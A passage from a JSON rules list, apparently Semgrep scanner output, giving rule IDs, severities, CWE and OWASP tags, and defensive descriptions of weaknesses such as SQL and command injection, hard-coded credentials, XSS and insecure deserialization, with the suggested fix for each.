ocaml.lang.portability.crlf-support.broken-input-line"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"help":{"markdown":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.use-of-sha1.use-of-sha1)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.use-of-sha1.use-of-sha1","id":"kotlin.lang.security.use-of-sha1.use-of-sha1","name":"kotlin.lang.security.use-of-sha1.use-of-sha1","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.use-of-sha1.use-of-sha1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The `func ($O *$CODEC) ReadRequestBody($ARG $TYPE) error` function does not handle `nil` argument, as the `ServerCodec` interface requires. An incorrect implementation could lead to denial of service"},"help":{"markdown":"The `func ($O *$CODEC) ReadRequestBody($ARG $TYPE) error` function does not handle `nil` argument, as the `ServerCodec` interface requires. An incorrect implementation could lead to denial of service\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.servercodec-readrequestbody-unhandled-nil.servercodec-readrequestbody-unhandled-nil)\n - [https://github.com/golang/go/blob/go1.15.2/src/net/rpc/server.go#L643-L658](https://github.com/golang/go/blob/go1.15.2/src/net/rpc/server.go#L643-L658)\n","text":"The `func ($O *$CODEC) ReadRequestBody($ARG $TYPE) error` function does not handle `nil` argument, as the `ServerCodec` interface requires. An incorrect implementation could lead to denial of service"},"helpUri":"https://semgrep.dev/r/trailofbits.go.servercodec-readrequestbody-unhandled-nil.servercodec-readrequestbody-unhandled-nil","id":"trailofbits.go.servercodec-readrequestbody-unhandled-nil.servercodec-readrequestbody-unhandled-nil","name":"trailofbits.go.servercodec-readrequestbody-unhandled-nil.servercodec-readrequestbody-unhandled-nil","properties":{"precision":"very-high","tags":["CWE-476: NULL Pointer Dereference","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.servercodec-readrequestbody-unhandled-nil.servercodec-readrequestbody-unhandled-nil"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.mariadb.python-mariadb-empty-password.python-mariadb-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.mariadb.python-mariadb-empty-password.python-mariadb-empty-password","id":"python.mariadb.python-mariadb-empty-password.python-mariadb-empty-password","name":"python.mariadb.python-mariadb-empty-password.python-mariadb-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.mariadb.python-mariadb-empty-password.python-mariadb-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.actix.sql.diesel-taint.diesel-taint)\n - [https://docs.rs/diesel/latest/diesel/](https://docs.rs/diesel/latest/diesel/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.actix.sql.diesel-taint.diesel-taint","id":"rust.actix.sql.diesel-taint.diesel-taint","name":"rust.actix.sql.diesel-taint.diesel-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.actix.sql.diesel-taint.diesel-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.tainted-system-command.tainted-system-command)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/kotlin.spring.tainted-system-command.tainted-system-command","id":"kotlin.spring.tainted-system-command.tainted-system-command","name":"kotlin.spring.tainted-system-command.tainted-system-command","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.tainted-system-command.tainted-system-command"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded","id":"kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded","name":"kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.net.http.urlconnection-hardcoded-secret-in-request-header.urlconnection-hardcoded-secret-in-request-header)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.lang.security.net.http.urlconnection-hardcoded-secret-in-request-header.urlconnection-hardcoded-secret-in-request-header","id":"java.lang.security.net.http.urlconnection-hardcoded-secret-in-request-header.urlconnection-hardcoded-secret-in-request-header","name":"java.lang.security.net.http.urlconnection-hardcoded-secret-in-request-header.urlconnection-hardcoded-secret-in-request-header","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.net.http.urlconnection-hardcoded-secret-in-request-header.urlconnection-hardcoded-secret-in-request-header"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.tokio-postgres.empty-password.empty-password)\n - [https://docs.rs/tokio-postgres/latest/tokio_postgres/](https://docs.rs/tokio-postgres/latest/tokio_postgres/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.tokio-postgres.empty-password.empty-password","id":"rust.secrets.tokio-postgres.empty-password.empty-password","name":"rust.secrets.tokio-postgres.empty-password.empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.tokio-postgres.empty-password.empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"URL rewriting has significant security risks. Since session ID appears in the URL, it may be easily seen by third parties."},"help":{"markdown":"URL rewriting has significant security risks. Since session ID appears in the URL, it may be easily seen by third parties.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.url-rewriting.url-rewriting)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"URL rewriting has significant security risks. Since session ID appears in the URL, it may be easily seen by third parties."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.url-rewriting.url-rewriting","id":"java.lang.security.audit.url-rewriting.url-rewriting","name":"java.lang.security.audit.url-rewriting.url-rewriting","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.url-rewriting.url-rewriting"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found usage of the 'monetary' argument in a function call of 'locale.format_string'. This is only available on Python 3.7+ and is therefore not backwards compatible. Instead, remove the 'monetary' argument."},"help":{"markdown":"Found usage of the 'monetary' argument in a function call of 'locale.format_string'. This is only available on Python 3.7+ and is therefore not backwards compatible. Instead, remove the 'monetary' argument.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-locale1)\n","text":"Found usage of the 'monetary' argument in a function call of 'locale.format_string'. This is only available on Python 3.7+ and is therefore not backwards compatible. Instead, remove the 'monetary' argument."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-locale1","id":"python.lang.compatibility.python37.python37-compatibility-locale1","name":"python.lang.compatibility.python37.python37-compatibility-locale1","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-locale1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"By letting user input control CORS parameters, there is a risk that software does not properly verify that the source of data or communication is valid. Use literal values for CORS settings."},"help":{"markdown":"By letting user input control CORS parameters, there is a risk that software does not properly verify that the source of data or communication is valid. Use literal values for CORS settings.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.cors-misconfiguration.cors-misconfiguration)\n - [https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS)\n","text":"By letting user input control CORS parameters, there is a risk that software does not properly verify that the source of data or communication is valid. Use literal values for CORS settings."},"helpUri":"https://semgrep.dev/r/javascript.express.security.cors-misconfiguration.cors-misconfiguration","id":"javascript.express.security.cors-misconfiguration.cors-misconfiguration","name":"javascript.express.security.cors-misconfiguration.cors-misconfiguration","properties":{"precision":"very-high","tags":["CWE-346: Origin Validation Error","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.cors-misconfiguration.cors-misconfiguration"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates which will safely render HTML instead."},"help":{"markdown":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates which will safely render HTML instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.tainted-html-string.tainted-html-string)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates which will safely render HTML instead."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.tainted-html-string.tainted-html-string","id":"python.aws-lambda.security.tainted-html-string.tainted-html-string","name":"python.aws-lambda.security.tainted-html-string.tainted-html-string","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.tainted-html-string.tainted-html-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.sqlx.empty-password.empty-password)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.sqlx.empty-password.empty-password","id":"rust.secrets.sqlx.empty-password.empty-password","name":"rust.secrets.sqlx.empty-password.empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.sqlx.empty-password.empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"ASP.NET applications built with `debug` set to true in production may leak debug information to attackers. Debug mode also affects performance and reliability. Set `debug` to `false` or remove it from `<compilation ... />`"},"help":{"markdown":"ASP.NET applications built with `debug` set to true in production may leak debug information to attackers. Debug mode also affects performance and reliability. Set `debug` to `false` or remove it from `<compilation ... />`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.security.net-webconfig-debug.net-webconfig-debug)\n - [https://web.archive.org/web/20190919105353/https://blogs.msdn.microsoft.com/prashant_upadhyay/2011/07/14/why-debugfalse-in-asp-net-applications-in-production-environment/](https://web.archive.org/web/20190919105353/https://blogs.msdn.microsoft.com/prashant_upadhyay/2011/07/14/why-debugfalse-in-asp-net-applications-in-production-environment/)\n - [https://msdn.microsoft.com/en-us/library/e8z01xdh.aspx](https://msdn.microsoft.com/en-us/library/e8z01xdh.aspx)\n","text":"ASP.NET applications built with `debug` set to true in production may leak debug information to attackers. Debug mode also affects performance and reliability. Set `debug` to `false` or remove it from `<compilation ... />`"},"helpUri":"https://semgrep.dev/r/csharp.dotnet.security.net-webconfig-debug.net-webconfig-debug","id":"csharp.dotnet.security.net-webconfig-debug.net-webconfig-debug","name":"csharp.dotnet.security.net-webconfig-debug.net-webconfig-debug","properties":{"precision":"very-high","tags":["CWE-11: ASP.NET Misconfiguration: Creating Debug Binary","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.security.net-webconfig-debug.net-webconfig-debug"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.command-injection.tainted-system-command.tainted-system-command)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"helpUri":"https://semgrep.dev/r/java.spring.command-injection.tainted-system-command.tainted-system-command","id":"java.spring.command-injection.tainted-system-command.tainted-system-command","name":"java.spring.command-injection.tainted-system-command.tainted-system-command","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.command-injection.tainted-system-command.tainted-system-command"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Avoid 'gets()'. This function does not consider buffer boundaries and can lead to buffer overflows. Use 'fgets()' or 'gets_s()' instead."},"help":{"markdown":"Avoid 'gets()'. This function does not consider buffer boundaries and can lead to buffer overflows. Use 'fgets()' or 'gets_s()' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/c.lang.security.insecure-use-gets-fn.insecure-use-gets-fn)\n - [https://us-cert.cisa.gov/bsi/articles/knowledge/coding-practices/fgets-and-gets_s](https://us-cert.cisa.gov/bsi/articles/knowledge/coding-practices/fgets-and-gets_s)\n","text":"Avoid 'gets()'. This function does not consider buffer boundaries and can lead to buffer overflows. Use 'fgets()' or 'gets_s()' instead."},"helpUri":"https://semgrep.dev/r/c.lang.security.insecure-use-gets-fn.insecure-use-gets-fn","id":"c.lang.security.insecure-use-gets-fn.insecure-use-gets-fn","name":"c.lang.security.insecure-use-gets-fn.insecure-use-gets-fn","properties":{"precision":"very-high","tags":["CWE-676: Use of Potentially Dangerous Function","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: c.lang.security.insecure-use-gets-fn.insecure-use-gets-fn"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-ruamel-django.tainted-ruamel-django)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://yaml.readthedocs.io/en/latest/api/](https://yaml.readthedocs.io/en/latest/api/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-ruamel-django.tainted-ruamel-django","id":"python.django.deserialization.tainted-ruamel-django.tainted-ruamel-django","name":"python.django.deserialization.tainted-ruamel-django.tainted-ruamel-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-ruamel-django.tainted-ruamel-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a pg8000 Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can create parameterized queries like so: 'conn.run(\"SELECT :value FROM table\", value=myvalue)'. You can also create prepared statements with 'conn.prepare': 'conn.prepare(\"SELECT (:v) FROM table\")'"},"help":{"markdown":"Detected string concatenation with a non-literal variable in a pg8000 Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can create parameterized queries like so: 'conn.run(\"SELECT :value FROM table\", value=myvalue)'. You can also create prepared statements with 'conn.prepare': 'conn.prepare(\"SELECT (:v) FROM table\")'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.sqli.pg8000-sqli.pg8000-sqli)\n - [https://github.com/tlocke/pg8000](https://github.com/tlocke/pg8000)\n","text":"Detected string concatenation with a non-literal variable in a pg8000 Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can create parameterized queries like so: 'conn.run(\"SELECT :value FROM table\", value=myvalue)'. You can also create prepared statements with 'conn.prepare': 'conn.prepare(\"SELECT (:v) FROM table\")'"},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.sqli.pg8000-sqli.pg8000-sqli","id":"python.lang.security.audit.sqli.pg8000-sqli.pg8000-sqli","name":"python.lang.security.audit.sqli.pg8000-sqli.pg8000-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.sqli.pg8000-sqli.pg8000-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Amazon MWS Auth Token detected"},"help":{"markdown":"Amazon MWS Auth Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-amazon-mws-auth-token.detected-amazon-mws-auth-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Amazon MWS Auth Token 